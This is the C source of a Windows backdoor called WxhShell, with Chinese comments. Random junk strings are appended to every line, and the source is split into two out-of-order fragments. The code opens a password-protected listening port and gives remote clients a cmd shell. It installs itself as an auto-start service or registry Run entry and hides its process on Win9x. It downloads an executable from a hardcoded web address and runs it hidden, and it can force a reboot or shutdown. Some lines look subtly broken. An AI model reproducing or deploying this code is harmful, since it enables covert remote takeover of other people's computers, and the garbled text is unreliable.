    if(Boot(SHUTDOWN)) 2 nCA<&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6'/ #+,d'  
    else { D^O@'zP=At  
    closesocket(wsh); y0#2m6u  
    ExitThread(0); \85i+q:LuA  
    } gJXaPJA{  
    break; +rd+0 `}C  
    } V&5wRz+`W  
  // 获取shell \~W'v3:W  
  case 's': { 8=l%5r^cq  
    CmdShell(wsh); cr3^6HB  
    closesocket(wsh);  @5FQX  
    ExitThread(0); XTy x r  
    break; t# i #(H  
  } b;n[mk  
  // 退出 J zl6eo[;  
  case 'x': { ,F|f. 7;  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ]DcFySyv  
    CloseIt(wsh); HtFDlvdy]  
    break; [WmM6UEVS  
    } zfU{Kd  
  // 离开 U/U);frH  
  case 'q': { icgfB-1|i  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); l **X^+=$  
    closesocket(wsh); dH!*!r>  
    WSACleanup(); U6K|fY N`  
    exit(1); \D4:Nt#  
    break; CTb%(<r  
        } ]G\}k  
  } oU8q o-J1H  
  } s AkdMo  
r@V!,k#S  
  // 提示信息 rp$'L7lrX  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V`- 9m$  
} !g[Zfo2r"  
  } >7|VR:U?B  
Ac@VGT:9  
  return; *w&e\i|7  
} uT"rq:N  
G\i9:7 `  
// shell模块句柄 9w"*y#_  
int CmdShell(SOCKET sock) zPO9!?7|  
{ *wearCPeJ  
STARTUPINFO si; 8LKiS  
ZeroMemory(&si,sizeof(si)); 8tL~FiHb"  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; N7"W{"3D  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; h`q1  
PROCESS_INFORMATION ProcessInfo; s;e\ pt  
char cmdline[]="cmd"; tw;}jh  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1Mzmg[L8  
  return 0; [JiH\+XLPs  
} 5! {D!  
6Mf0`K  
// 自身启动模式  ?9/G[[(  
int StartFromService(void) o&%g8=n%  
{ .*oU]N%K=  
typedef struct i5Ggf"![  
{ 23PGq%R  
  DWORD ExitStatus; **%37  
  DWORD PebBaseAddress; kVgTGC"L=  
  DWORD AffinityMask; "jZ-,P=  
  DWORD BasePriority; fhiM U8(&  
  ULONG UniqueProcessId; V gWRW7Se  
  ULONG InheritedFromUniqueProcessId; ^q5#ihM  
}   PROCESS_BASIC_INFORMATION; XS#Qu=,-  
!L(^(;$Kgr  
PROCNTQSIP NtQueryInformationProcess; C dn J&N{  
u 9e@a9c  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Y2AJ+ |  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [n@] r2g)3  
u`W2 +S  
  HANDLE             hProcess; SUiOJ[5,  
  PROCESS_BASIC_INFORMATION pbi; >:-$+I  
(`^1Y3&2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Wr 4,YQM  
  if(NULL == hInst ) return 0; XFl 6M~ c  
}bxs]?OW>  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); c 9Mz]1@f  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7Q 3k 7  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Txu/{ M,  
BGSw~6  
  if (!NtQueryInformationProcess) return 0; y29m/i:  
{ 6il`>=C  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *4'"2"  
  if(!hProcess) return 0; {7[Ox<Ho  
Jy)/%p~  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; O.? JmE  
rI\FI0zIp_  
  CloseHandle(hProcess); V~GDPJ+  
/~1+i'7V.,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); MgZ/(X E  
if(hProcess==NULL) return 0; 4#D,?eA7  
Mx}gN:Wt  
HMODULE hMod; [Xkx_B  
char procName[255]; _a, s )  
unsigned long cbNeeded; \bXa&Lq  
=;L|gtH"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); vx =&QavL  
#!=tDc &  
  CloseHandle(hProcess); VbYdZCC  
)%TmAaj9d  
if(strstr(procName,"services")) return 1; // 以服务启动 }f ?y* H  
mH(:?_KrS-  
  return 0; // 注册表启动 zLQx%Yg!  
} }MySaL>  
>*bvw~y,  
// 主模块 ".%k6W<n  
int StartWxhshell(LPSTR lpCmdLine) g)-te+?6  
{ 5P bW[  
  SOCKET wsl; PCA4k.,T  
BOOL val=TRUE; mFeP9MfJ  
  int port=0; I%):1\)  
  struct sockaddr_in door; :FF=a3/"6  
?6!LL5a.  
  if(wscfg.ws_autoins) Install(); P}iE+Z 3  
8ag!K*\ V<  
port=atoi(lpCmdLine); [E_9V%^  
(Ldi|jL  
if(port<=0) port=wscfg.ws_port; bA 2pbjg=  
@Qe0! (_=  
  WSADATA data; btB%[]  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; rv;3~'V  
:RYTL'hes  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ceA9) {  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }V>T M{  
  door.sin_family = AF_INET; XW/o<[91  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); crCJrN=  
  door.sin_port = htons(port); \8tsDG(1 '  
#yen8SskB  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { l;U?Z'n  
closesocket(wsl); tPvpJX6kP  
return 1; "@kaHIf[  
} f$( e\+ +  
6!o1XQr=Z  
  if(listen(wsl,2) == INVALID_SOCKET) { hTkyz la  
closesocket(wsl); K3C<{#r  
return 1; <@}9Bid!o  
} al0L&z\  
  Wxhshell(wsl); jIyQ]:*p  
  WSACleanup(); ICCc./l|  
M5B# TAybC  
return 0; zs;JJk^  
[QTV9  
} CTK;dM'uQ  
*Ex|9FCt$  
// 以NT服务方式启动 1YA% -~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;S{(]K7i  
{ Ac6=(B  
DWORD   status = 0; %y@AA>x!  
  DWORD   specificError = 0xfffffff; ysN3  
2 c}E(8e]  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Rcv9mj]l  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; <3iMRe  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0(I j%Wi,  
  serviceStatus.dwWin32ExitCode     = 0; $'TM0Yu,  
  serviceStatus.dwServiceSpecificExitCode = 0; 49P 4b<1  
  serviceStatus.dwCheckPoint       = 0; c> af  
  serviceStatus.dwWaitHint       = 0; GILfbNcd  
}G=M2V<L  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9L9sqZUB  
  if (hServiceStatusHandle==0) return; ^8tEach  
C~[,z.FvO  
status = GetLastError(); )"LJ hLg  
  if (status!=NO_ERROR) m|# y >4  
{ 0YzpZW"+  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; V)^+?B)T  
    serviceStatus.dwCheckPoint       = 0; +p^u^a  
    serviceStatus.dwWaitHint       = 0; neh(<>  
    serviceStatus.dwWin32ExitCode     = status; "b[5]Y{ U  
    serviceStatus.dwServiceSpecificExitCode = specificError; l, wp4 Ll  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5f/`Q   
    return; l2d{ 73h  
  } l0] EX>"E  
4 :=]<sc,  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; wzaV;ac4K  
  serviceStatus.dwCheckPoint       = 0; ,Q,^3*HX9}  
  serviceStatus.dwWaitHint       = 0; Q?T]MUY(L  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); hph4`{T  
} &zhAh1m  
8fb'yjIC  
// 处理NT服务事件,比如:启动、停止 >7r!~+B"9'  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ,[Fb[#Qqb  
{ O f#:  
switch(fdwControl) /xQPTT  
{ X 8|EHb<  
case SERVICE_CONTROL_STOP: %SI'BJ  
  serviceStatus.dwWin32ExitCode = 0; 4YHY7J  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; f)!Z~t &  
  serviceStatus.dwCheckPoint   = 0; ':W[A  
  serviceStatus.dwWaitHint     = 0; HDKbF/  
  { P4?glh q#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); b[yiq$K/  
  } 7rA;3?p)  
  return; 8Y3I0S  
case SERVICE_CONTROL_PAUSE: y]im Z4{/  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; +RXoi2"-q@  
  break; Wm|lSisY  
case SERVICE_CONTROL_CONTINUE: /bEAK-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; "j-CZ\]U|  
  break; r/sNrB1U"y  
case SERVICE_CONTROL_INTERROGATE: U&xUfBDt  
  break; H-%v3d>3  
}; nm+s{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); G`zm@QL  
} ]?)TdJ`  
<Qq*p  
// 标准应用程序主函数 C>~TI,5a3  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) />Nt[o[r  
{ s(^mZ -i  
R4@6G&2d>  
// 获取操作系统版本 b\ PgVBf9  
OsIsNt=GetOsVer(); @KA4N`  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [V!tVDs&'o  
dd["dBIZ '  
  // 从命令行安装 2Hdu:"j  
  if(strpbrk(lpCmdLine,"iI")) Install(); ]d`VT)~vje  
*dF>_F  
  // 下载执行文件 DJ%PWlK5  
if(wscfg.ws_downexe) { |'.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &?vgP!d&M  
  WinExec(wscfg.ws_filenam,SW_HIDE); kl,3IKHa  
} s7EinI{^  
L(o15  
if(!OsIsNt) { e*!kZAf  
// 如果时win9x,隐藏进程并且设置为注册表启动 V,9cl,z+  
HideProc(); <X5 fUU"+U  
StartWxhshell(lpCmdLine); 4sM.C9W  
} Mq8L0%j  
else aP`P)3O6)1  
  if(StartFromService()) ]HdCt3X  
  // 以服务方式启动 qa6,z.mQ  
  StartServiceCtrlDispatcher(DispatchTable); , dp0;nkr  
else 5coZ|O&f8  
  // 普通方式启动 ^J d r>@  
  StartWxhshell(lpCmdLine); v@Ox:wl>  
zT[!o j7  
return 0; Hef g[$m  
} LF7SS;&~f  
Gc!x|V;T  
hEk$d.!}  
ZN6Z~SL_i~  
=========================================== "mN q&$  
^t"'rD-I  
FN; ^"H  
<t,x RBk  
ZB&6<uw  
MfQ!6zE  
" fAmz4  
y==CT Y@  
#include <stdio.h> $SE^S   
#include <string.h> 8Eq7Sa  
#include <windows.h> EzIGz[  
#include <winsock2.h> i  LAscb  
#include <winsvc.h> TPY}C  
#include <urlmon.h> JLi|Td "1%  
ty`DJO=Omj  
#pragma comment (lib, "Ws2_32.lib") CP{cAzHO  
#pragma comment (lib, "urlmon.lib") 'QIqBU'~  
5Ph4<f` L~  
#define MAX_USER   100 // 最大客户端连接数 N [yy M'C  
#define BUF_SOCK   200 // sock buffer G9 :l'\  
#define KEY_BUFF   255 // 输入 buffer V> bCKtf&  
K@#L)VT!  
#define REBOOT     0   // 重启 :@)>r9N  
#define SHUTDOWN   1   // 关机 MS]r:X6  
]7mt[2 Cd  
#define DEF_PORT   5000 // 监听端口 EZj9wd"u  
3Y~>qGQwh  
#define REG_LEN     16   // 注册表键长度 9K&:V(gmw  
#define SVC_LEN     80   // NT服务名长度 jSAjcLR  
AK#1]i~  
// 从dll定义API U?=Dg1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9E tz[`|  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -]=@s  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ((I%'   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); nLiY%x`S  
`g})|Gx  
// wxhshell配置信息 )Z VD+X  
struct WSCFG { N36_C;K-z  
  int ws_port;         // 监听端口 x=jK:3BF  
  char ws_passstr[REG_LEN]; // 口令 ""D 4s  
  int ws_autoins;       // 安装标记, 1=yes 0=no F/A|(AH'  
  char ws_regname[REG_LEN]; // 注册表键名 Ow077v ?  
  char ws_svcname[REG_LEN]; // 服务名 ukY"+&  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 S+2(f> Z  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 h*Pc=/p  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &f;K}W O  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 5^KWCS7@  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" OC:T O|S:4  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4g7)iL^#~  
O#u=c1 ?:  
}; ,u g@f-T  
AFfAtu  
// default Wxhshell configuration n}77##+R&C  
struct WSCFG wscfg={DEF_PORT, 2dzrRH  
    "xuhuanlingzhe", A={UL  
    1, C/&-l{7  
    "Wxhshell", BX^tR1  
    "Wxhshell", ss e.*75U  
            "WxhShell Service", $a %MOKr  
    "Wrsky Windows CmdShell Service", M|[oaanY'  
    "Please Input Your Password: ", t.'!`5G  
  1, }#E[vRf  
  "http://www.wrsky.com/wxhshell.exe", N"y)Oca{  
  "Wxhshell.exe" _{Hj^}+$  
    };  JSg$wi8  
Y)a^(!<H<  
// 消息定义模块 evJ.<{M  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; pXK^Y'2C!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; &yol_%C  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; vI)LB)Q  
char *msg_ws_ext="\n\rExit."; C{b gkzr  
char *msg_ws_end="\n\rQuit."; ,'iE;o{Tu  
char *msg_ws_boot="\n\rReboot...";  gRT00  
char *msg_ws_poff="\n\rShutdown..."; (2 a`XwR  
char *msg_ws_down="\n\rSave to "; .-X8J t  
:U(A;U1,  
char *msg_ws_err="\n\rErr!"; ;]jNk'oa  
char *msg_ws_ok="\n\rOK!"; %9RF   
WSY}d Vr  
char ExeFile[MAX_PATH]; P A OJ\U  
int nUser = 0; SC])?h-Fw  
HANDLE handles[MAX_USER]; 9!DQ~k%  
int OsIsNt; V,?yPi$#E  
- FlzEZ  
SERVICE_STATUS       serviceStatus; "2T#MO/  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; / Qk4  
kn"(A .R  
// 函数声明 mo#04;VF  
int Install(void); gOOPe5+ J  
int Uninstall(void); Vl!6W@g  
int DownloadFile(char *sURL, SOCKET wsh); (NnH:J`  
int Boot(int flag); 0k(a VkZ I  
void HideProc(void); 19KQlMO.G  
int GetOsVer(void); 9]wN Bd  
int Wxhshell(SOCKET wsl); b,%C{mC  
void TalkWithClient(void *cs); +XYE{E5  
int CmdShell(SOCKET sock); ")HFYqP>9  
int StartFromService(void); 9pxc~=  
int StartWxhshell(LPSTR lpCmdLine); x~j`@k,;  
oF GhNk  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ;l-!)0 U  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &q|K!5[k  
}XM(:|8J,  
// 数据结构和表定义 rI-%be==  
SERVICE_TABLE_ENTRY DispatchTable[] = 9lDhIqx0~  
{ = +?7''{>  
{wscfg.ws_svcname, NTServiceMain}, =6|&Jt  
{NULL, NULL} A7hVHxNJ-  
}; g!z&~Z:  
1q1jZqno  
// 自我安装 \A6B,|@  
int Install(void) M>8A\;"  
{ %\Mo-Ow!\  
  char svExeFile[MAX_PATH]; Q7COQ2~K   
  HKEY key;  H =^`!  
  strcpy(svExeFile,ExeFile); Sw^u3  
~PahoRS  
// 如果是win9x系统,修改注册表设为自启动  \qK&q  
if(!OsIsNt) { nSAdCJ;4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wtV#l4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); X<; f  
  RegCloseKey(key); g]yBA7/S"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { yU}qOgXx  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8d-t|HkN  
  RegCloseKey(key); 1"M]3Kl  
  return 0; :e%Pvk  
    } 1!T1Y,w  
  } YNj`W1  
} {9aE5kR  
else { "djw>|,N<  
pK'V9fD5J  
// 如果是NT以上系统,安装为系统服务 #7YY<) xt}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5vZ^0yFQ  
if (schSCManager!=0) &;sP_ h  
{ g5QZ0Qkj  
  SC_HANDLE schService = CreateService x&T[*i  
  ( WoRZW%  
  schSCManager, N;j)k;  
  wscfg.ws_svcname, "s_lP&nq  
  wscfg.ws_svcdisp, -JjM y X  
  SERVICE_ALL_ACCESS, `&sH-d4v  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , E5lBdM>2  
  SERVICE_AUTO_START, GMl;7?RA  
  SERVICE_ERROR_NORMAL, -kwXvYu\  
  svExeFile, _ T):G6C8  
  NULL, f|lU6EkU  
  NULL, i`$*T y"x  
  NULL, X;c'[q  
  NULL, tX %5BTv  
  NULL >!1.  
  ); KOuCHqCfq  
  if (schService!=0) p\ZNy\N^  
  { s;vHPUB\n  
  CloseServiceHandle(schService); vf%&4\ib  
  CloseServiceHandle(schSCManager); I4q9|'-yx  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,lA  s  
  strcat(svExeFile,wscfg.ws_svcname); 6@0OQb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Fv<F}h?6  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); CxG#"{&  
  RegCloseKey(key); 6WJ)by  
  return 0; "Yj'oE% \  
    } aAMVsE{  
  } ApV~( k)W  
  CloseServiceHandle(schSCManager); ~C`^6UQr/?  
} 4'A!; ]:  
} 2=`o_<P'"  
l6 H|PR{  
return 1; \(Y\|zC'0$  
} e`xdSi>E  
mFaZio0GK  
// 自我卸载 D(RTVef  
int Uninstall(void) ^y1j.M@q  
{ /M4{Wc  
  HKEY key; T iiWp!mX  
H>B&|BO_[  
if(!OsIsNt) { j; y#[|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !F1N~6f  
  RegDeleteValue(key,wscfg.ws_regname); (HE9V]  
  RegCloseKey(key); 5Qn '  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5}]"OXQ  
  RegDeleteValue(key,wscfg.ws_regname); v,{yU\)  
  RegCloseKey(key); Ww%=1M]e-  
  return 0; nV:LqF=  
  } OAkZKG|  
} ~h85BF5  
} (#RHB`h5  
else { =U|.^5sa#  
VAf1" )pC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;he"ph=>  
if (schSCManager!=0) zhRB,1iG  
{ 8a'.ZdqC?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ( _)jkI \  
  if (schService!=0) \BZhf?9U  
  { ,TN 2  
  if(DeleteService(schService)!=0) { A '5,LfTu  
  CloseServiceHandle(schService); DYxCQ D  
  CloseServiceHandle(schSCManager); [@b&? b~K  
  return 0; iIa'2+  
  } ve/<=IR Zo  
  CloseServiceHandle(schService); _5# y06Q  
  } Oz`BEyb]{  
  CloseServiceHandle(schSCManager); e`TH91@  
} ;y\IqiA{o  
} (Dl$kGn  
W$OG( m!W>  
return 1; s1NKLt  
} FUjl8b-|  
sOJQ,"sB  
// 从指定url下载文件 !&/{E [  
int DownloadFile(char *sURL, SOCKET wsh) *HO}~A%Lx  
{ CcFn.omA  
  HRESULT hr; 3.W@ }   
char seps[]= "/"; 3#&7-o  
char *token; | >htvDL  
char *file; LBsluT  
char myURL[MAX_PATH]; >>o dZL  
char myFILE[MAX_PATH]; OJ$]V,Z00x  
-[!P!d=  
strcpy(myURL,sURL); *ikc]wQr$  
  token=strtok(myURL,seps); -~ Mb  
  while(token!=NULL) 5Z\#0":e  
  { ws|;  `  
    file=token; L>%o[tS  
  token=strtok(NULL,seps); e5B Qr$j  
  } ~ga`\% J  
TXk?#G\o  
GetCurrentDirectory(MAX_PATH,myFILE); &[/w_| b  
strcat(myFILE, "\\"); )Es"LP]  
strcat(myFILE, file); $lIz{ySJv  
  send(wsh,myFILE,strlen(myFILE),0); lBTmx(_}}r  
send(wsh,"...",3,0); T}P".kpbS  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); X+}1  
  if(hr==S_OK) "4H +!r}  
return 0; ;YX4:OBqr  
else  }'/`2!lY  
return 1; I'iGt~4$  
0_"fJ~Y^J  
} *c*0PdV  
/fT+^&  
// 系统电源模块 (+3Wgl+]/  
int Boot(int flag) wl$h4 {L7  
{ Y2SJ7  
  HANDLE hToken; 0[*qY@m:Z  
  TOKEN_PRIVILEGES tkp; :Q_<Z@2Y{  
M9@ri^x  
  if(OsIsNt) { TGe;HZ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); T{Uc:Z  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :^x?2% ~K.  
    tkp.PrivilegeCount = 1; C #6dC0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; dJ""XaHqf  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ICkp$u^  
if(flag==REBOOT) { aZ'Lx:)R  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) p2udm!)J  
  return 0; y+6o{`0  
} pg%aI,  
else { )>-ibf`#?  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) K7Wk6Aw  
  return 0; G\r?f&  
} H& Ca`B  
  } a|=x5`h04~  
  else { fUQ6Z,9  
if(flag==REBOOT) { ?Poq2  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ehG/zVgn  
  return 0; Ve!fU  
} D{d>5P?W  
else { HnCzbt@  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) m"jV}@agX  
  return 0; ) ^3avRsC  
} $Gv9m  
} /BV03B  
x61U[/r  
return 1; H;fxxu`cS  
} z0*_^MH  
}HYjA4o\A  
// win9x进程隐藏模块 jR#~I@q^  
void HideProc(void) _({A\}Q|  
{ mJ`A_0  
G 0;XaL:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _}VloiY  
  if ( hKernel != NULL ) )V:]g\t  
  { 3UQ;X**F  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); d[^~'V  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9n5<]Q (  
    FreeLibrary(hKernel); 2hQ>:  
  } B0!"A  
jDN ]3Y`  
return; `o?Ph&p}  
} 1=a>f "cyf  
VZ](uFBY  
// 获取操作系统版本 1`9xIm*9w  
int GetOsVer(void) !i%"7tQ3$  
{ UaViI/ks  
  OSVERSIONINFO winfo; e^Ky<*Y  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); z)=+ F]  
  GetVersionEx(&winfo); XNb ZNaAd  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ,qrQ"r9  
  return 1; GS Q/NYK  
  else u% n*gcY  
  return 0; 3^ ~KB'RZ  
} V{&rQ@{W  
`TPOCxM Mo  
// 客户端句柄模块 \3jW~FV  
int Wxhshell(SOCKET wsl) u=/CRjot  
{ pOkLb #  
  SOCKET wsh; JiU9CeD3  
  struct sockaddr_in client; dG71*)<)t  
  DWORD myID; }sFm9j7yR  
Iu *^xn  
  while(nUser<MAX_USER) {]]|5 \F  
{ m&iH2|  
  int nSize=sizeof(client); Tl|:9_:t  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "y<?Q}1  
  if(wsh==INVALID_SOCKET) return 1; $Qy7G{XJ[^  
d@G}~&.|  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); rf%7b8[v  
if(handles[nUser]==0) \VFHHi:I  
  closesocket(wsh); OOz[-j>'Y+  
else W$Yc'E ;  
  nUser++; Pv+5K*"7Cg  
  } )& <=.q  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); w7n373y%  
y tf b$;|  
  return 0; D\YE^8/  
} !GQ\"Ufs>  
vuFBET,  
// 关闭 socket |s)?cpb  
void CloseIt(SOCKET wsh) 2',w[I  
{ K[7EOXLy  
closesocket(wsh); =FT98H2*|  
nUser--; n7YEG-J  
ExitThread(0); VCcr3Dx()F  
} *I0-O*Xr  
rUjdq/I:Z  
// 客户端请求句柄 ~b|`'kU  
void TalkWithClient(void *cs) 1I}b|6 `  
{ $CE[MZ&S  
`g1iCF  
  SOCKET wsh=(SOCKET)cs; Y05P'Q  
  char pwd[SVC_LEN]; }/,CbKi,+  
  char cmd[KEY_BUFF]; on7I l  
char chr[1]; oq_6L\ ~  
int i,j; EIf ~dOgH  
2.X"f  
  while (nUser < MAX_USER) { UP{j5gR:_  
Y}DonF  
if(wscfg.ws_passstr) { =0'q!}._!  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =_8Tp~j  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `j9$T:`  
  //ZeroMemory(pwd,KEY_BUFF); m3g2b _;  
      i=0; Q9`QL3LQD  
  while(i<SVC_LEN) { *+b6B_u]  
.\qj;20W  
  // 设置超时 90Hjx>[  
  fd_set FdRead; 2w$t wW-  
  struct timeval TimeOut; oiX"Lz{  
  FD_ZERO(&FdRead); Sj(F3wY  
  FD_SET(wsh,&FdRead); STA4 p6  
  TimeOut.tv_sec=8; ='E$-_  
  TimeOut.tv_usec=0; oQj=;[  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Ij'NC C  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 47T}0q,  
^-M^gYBR  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ._96*r=o  
  pwd=chr[0]; a/uo}[Y  
  if(chr[0]==0xd || chr[0]==0xa) { Z2bcCIq4  
  pwd=0; i$KpDXP\  
  break; OlQ,Ce  
  } 4E:bp   
  i++; {hO`6mr&t  
    }  oAZh~~tp  
te4= S  
  // 如果是非法用户,关闭 socket VRW] a  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); mty1p'^KQ  
} H_IGFZCh  
0X(]7b&~R  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); J:F^ #gW  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); BXUF^Hj%  
efuK  
while(1) { kDz>r#%  
wn11\j&  
  ZeroMemory(cmd,KEY_BUFF); [W,-1.$!dM  
n|4;Hn1V  
      // 自动支持客户端 telnet标准   hD<f3_k  
  j=0; XL}<1- }  
  while(j<KEY_BUFF) { ~mN% (w!^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )J3kxmlzQ  
  cmd[j]=chr[0]; ".~{:=  
  if(chr[0]==0xa || chr[0]==0xd) { uC]Z8&+obb  
  cmd[j]=0; !)Rr] ~  
  break; [Id}4[={e  
  } IGAzE(  
  j++; n`;R pr&  
    } O:.,+,BH  
T_OF7?  
  // 下载文件 qU[O1bN  
  if(strstr(cmd,"http://")) { }o9Aa0$*$  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]9S`[c$  
  if(DownloadFile(cmd,wsh)) \`,xgC9K  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ca$c;  
  else RwTzz] M  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X^@[G8v%  
  } $~'Tf>e  
  else { f e $Wu  
oVB"f  
